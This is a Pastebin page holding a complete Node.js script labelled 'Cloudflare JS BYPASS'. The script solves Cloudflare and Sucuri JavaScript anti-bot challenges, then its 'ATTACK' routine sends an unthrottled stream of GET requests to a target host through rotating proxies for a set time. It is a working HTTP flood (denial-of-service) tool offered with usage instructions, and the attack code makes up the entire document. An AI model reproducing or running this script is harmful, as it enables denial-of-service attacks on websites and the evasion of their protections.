Advertisement
xB4ckdoorREAL

[CLOUDFLARE JS CAPTCHA Bypass Proxyless]

Aug 25th, 2019
1,996
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /**
  2. // www.b4ckdoorarchive.host - Cloudflare JS BYPASS
  3. // Usage : node cfbypass [host] [time] [list.txt (Your proxy list)]
  4. */
  5. process.on('uncaughtException', (err) => {});
  6. process.on('unhandledRejection', (err) => {});
  7. var vm = require('vm');
  8. var requestModule = require('request');
  9. var jar = requestModule.jar();
  10. var fs = require('fs');
  11. var proxies = fs.readFileSync(process.argv[4], 'utf-8').replace(/\r/g, '').split('\n');
  12.  
  13. function arrremove(arr, what) {
  14.     var found = arr.indexOf(what);
  15.  
  16.     while (found !== -1) {
  17.         arr.splice(found, 1);
  18.         found = arr.indexOf(what);
  19.     }
  20. }
  21.  
  22. var request = requestModule.defaults({
  23.         jar: jar
  24.     }),
  25.     UserAgent = 'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36',
  26.     Timeout = 6000,
  27.     WAF = true,
  28.     cloudscraper = {};
  29.  
  30.  
  31.  
  32. var cookies = [];
  33.  
  34. cloudscraper.get = function(url, callback, headers) {
  35.     performRequest({
  36.         method: 'GET',
  37.         url: url,
  38.         headers: headers
  39.     }, callback);
  40. };
  41.  
  42. cloudscraper.post = function(url, body, callback, headers) {
  43.     var data = '',
  44.         bodyType = Object.prototype.toString.call(body);
  45.  
  46.     if (bodyType === '[object String]') {
  47.         data = body;
  48.     } else if (bodyType === '[object Object]') {
  49.         data = Object.keys(body).map(function(key) {
  50.             return key + '=' + body[key];
  51.         }).join('&');
  52.     }
  53.  
  54.     headers = headers || {};
  55.     headers['Content-Type'] = headers['Content-Type'] || 'application/x-www-form-urlencoded; charset=UTF-8';
  56.     headers['Content-Length'] = headers['Content-Length'] || data.length;
  57.  
  58.     performRequest({
  59.         method: 'POST',
  60.         body: data,
  61.         url: url,
  62.         headers: headers
  63.     }, callback);
  64. }
  65.  
  66. cloudscraper.request = function(options, callback) {
  67.     performRequest(options, callback);
  68. }
  69.  
  70. function performRequest(options, callback) {
  71.     var method;
  72.     options = options || {};
  73.     options.headers = options.headers || {};
  74.  
  75.     options.headers['Cache-Control'] = options.headers['Cache-Control'] || 'private';
  76.     options.headers['Accept'] = options.headers['Accept'] || 'application/xml,application/xhtml+xml,text/html;q=0.9, text/plain;q=0.8,image/png,*/*;q=0.5';
  77.  
  78.     makeRequest = requestMethod(options.method);
  79.  
  80.     if ('encoding' in options) {
  81.         options.realEncoding = options.encoding;
  82.     } else {
  83.         options.realEncoding = 'utf8';
  84.     }
  85.     options.encoding = null;
  86.  
  87.     if (!options.url || !callback) {
  88.         throw new Error('To perform request, define both url and callback');
  89.     }
  90.  
  91.     options.headers['User-Agent'] = options.headers['User-Agent'] || UserAgent;
  92.  
  93.     makeRequest(options, function(error, response, body) {
  94.         var validationError;
  95.         var stringBody;
  96.  
  97.         if (error || !body || !body.toString) {
  98.             return callback({
  99.                 errorType: 0,
  100.                 error: error
  101.             }, body, response);
  102.         }
  103.  
  104.         stringBody = body.toString('utf8');
  105.  
  106.         if (validationError = checkForErrors(error, stringBody)) {
  107.             return callback(validationError, body, response);
  108.         }
  109.  
  110.         if (stringBody.indexOf('a = document.getElementById(\'jschl-answer\');') !== -1) {
  111.             setTimeout(function() {
  112.                 return solveChallenge(response, stringBody, options, callback);
  113.             }, Timeout);
  114.         } else if (stringBody.indexOf('You are being redirected') !== -1 ||
  115.             stringBody.indexOf('sucuri_cloudproxy_js') !== -1) {
  116.             setCookieAndReload(response, stringBody, options, callback);
  117.         } else {
  118.             processResponseBody(options, error, response, body, callback);
  119.         }
  120.     });
  121. }
  122.  
  123. function checkForErrors(error, body) {
  124.     var match;
  125.  
  126.     if (error) {
  127.         return {
  128.             errorType: 0,
  129.             error: error
  130.         };
  131.     }
  132.  
  133.     if (body.indexOf('why_captcha') !== -1 || /cdn-cgi\/l\/chk_captcha/i.test(body)) {
  134.         return {
  135.             errorType: 1
  136.         };
  137.     }
  138.  
  139.     match = body.match(/<\w+\s+class="cf-error-code">(.*)<\/\w+>/i);
  140.  
  141.     if (match) {
  142.         return {
  143.             errorType: 2,
  144.             error: parseInt(match[1])
  145.         };
  146.     }
  147.  
  148.     return false;
  149. }
  150.  
  151.  
  152. function solveChallenge(response, body, options, callback) {
  153.     var challenge = body.match(/name="jschl_vc" value="(\w+)"/),
  154.         host = response.request.host,
  155.         makeRequest = requestMethod(options.method),
  156.         jsChlVc,
  157.         answerResponse,
  158.         answerUrl;
  159.  
  160.     if (!challenge) {
  161.         return callback({
  162.             errorType: 3,
  163.             error: 'I cant extract challengeId (jschl_vc) from page'
  164.         }, body, response);
  165.     }
  166.  
  167.     jsChlVc = challenge[1];
  168.  
  169.     challenge = body.match(/getElementById\('cf-content'\)[\s\S]+?setTimeout.+?\r?\n([\s\S]+?a\.value =.+?)\r?\n/i);
  170.  
  171.     if (!challenge) {
  172.         return callback({
  173.             errorType: 3,
  174.             error: 'I cant extract method from setTimeOut wrapper'
  175.         }, body, response);
  176.     }
  177.  
  178.     challenge_pass = body.match(/name="pass" value="(.+?)"/)[1];
  179.  
  180.     challenge = challenge[1];
  181.  
  182.     challenge = challenge.replace(/a\.value =(.+?) \+ .+?;/i, '$1');
  183.  
  184.     challenge = challenge.replace(/\s{3,}[a-z](?: = |\.).+/g, '');
  185.     challenge = challenge.replace(/'; \d+'/g, '');
  186.  
  187.     try {
  188.         answerResponse = {
  189.             'jschl_vc': jsChlVc,
  190.             'jschl_answer': (eval(challenge) + response.request.host.length),
  191.             'pass': challenge_pass
  192.         };
  193.     } catch (err) {
  194.         return callback({
  195.             errorType: 3,
  196.             error: 'Error occurred during evaluation: ' + err.message
  197.         }, body, response);
  198.     }
  199.  
  200.     answerUrl = response.request.uri.protocol + '//' + host + '/cdn-cgi/l/chk_jschl';
  201.  
  202.     options.headers['Referer'] = response.request.uri.href;
  203.     options.url = answerUrl;
  204.     options.qs = answerResponse;
  205.  
  206.     makeRequest(options, function(error, response, body) {
  207.  
  208.         if (error) {
  209.             return callback({
  210.                 errorType: 0,
  211.                 error: error
  212.             }, response, body);
  213.         }
  214.  
  215.         if (response.statusCode === 302) {
  216.             options.url = response.headers.location;
  217.             delete options.qs;
  218.             makeRequest(options, function(error, response, body) {
  219.                 processResponseBody(options, error, response, body, callback);
  220.             });
  221.         } else {
  222.             processResponseBody(options, error, response, body, callback);
  223.         }
  224.     });
  225. }
  226.  
  227. function setCookieAndReload(response, body, options, callback) {
  228.     var challenge = body.match(/S='([^']+)'/);
  229.     var makeRequest = requestMethod(options.method);
  230.  
  231.     if (!challenge) {
  232.         return callback({
  233.             errorType: 3,
  234.             error: 'I cant extract cookie generation code from page'
  235.         }, body, response);
  236.     }
  237.  
  238.     var base64EncodedCode = challenge[1];
  239.     var cookieSettingCode = new Buffer(base64EncodedCode, 'base64').toString('ascii');
  240.  
  241.     var sandbox = {
  242.         location: {
  243.             reload: function() {}
  244.         },
  245.         document: {}
  246.     };
  247.     vm.runInNewContext(cookieSettingCode, sandbox);
  248.     try {
  249.         cookies.push(sandbox.document.cookie);
  250.         jar.setCookie(sandbox.document.cookie, response.request.uri.href, {
  251.             ignoreError: true
  252.         });
  253.     } catch (err) {
  254.         return callback({
  255.             errorType: 3,
  256.             error: 'Error occurred during evaluation: ' + err.message
  257.         }, body, response);
  258.     }
  259.  
  260.     makeRequest(options, function(error, response, body) {
  261.         if (error) {
  262.             return callback({
  263.                 errorType: 0,
  264.                 error: error
  265.             }, response, body);
  266.         }
  267.         processResponseBody(options, error, response, body, callback);
  268.     });
  269. }
  270.  
  271. function requestMethod(method) {
  272.     method = method.toUpperCase();
  273.  
  274.     return method === 'POST' ? request.post : request.get;
  275. }
  276.  
  277. function processResponseBody(options, error, response, body, callback) {
  278.     if (typeof options.realEncoding === 'string') {
  279.         body = body.toString(options.realEncoding);
  280.         if (validationError = checkForErrors(error, body)) {
  281.             return callback(validationError, response, body);
  282.         }
  283.     }
  284.  
  285.  
  286.     callback(error, response, body);
  287. }
  288.  
  289. var ATTACK = {
  290.     cfbypass(method, url, proxy) {
  291.         performRequest({
  292.             method: method,
  293.             proxy: 'http://' + proxy,
  294.             url: url
  295.         }, function(err, response, body) {
  296.             console.log(err, response.statusCode);     // Remove this line if you dont want to see the output of ur request madafaka  
  297.         });
  298.     }
  299. }
  300.  
  301. setTimeout(function() {
  302.     process.exit(1);
  303. }, process.argv[3] * 1000);
  304.  
  305. setInterval(function() {
  306.     ATTACK.cfbypass('GET', process.argv[2], proxies[Math.floor(Math.random() * proxies.length)]);
  307. });
  308.  
  309. console.log("GET Test has been sent to %s for %s seconds", process.argv[2], process.argv[3]);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement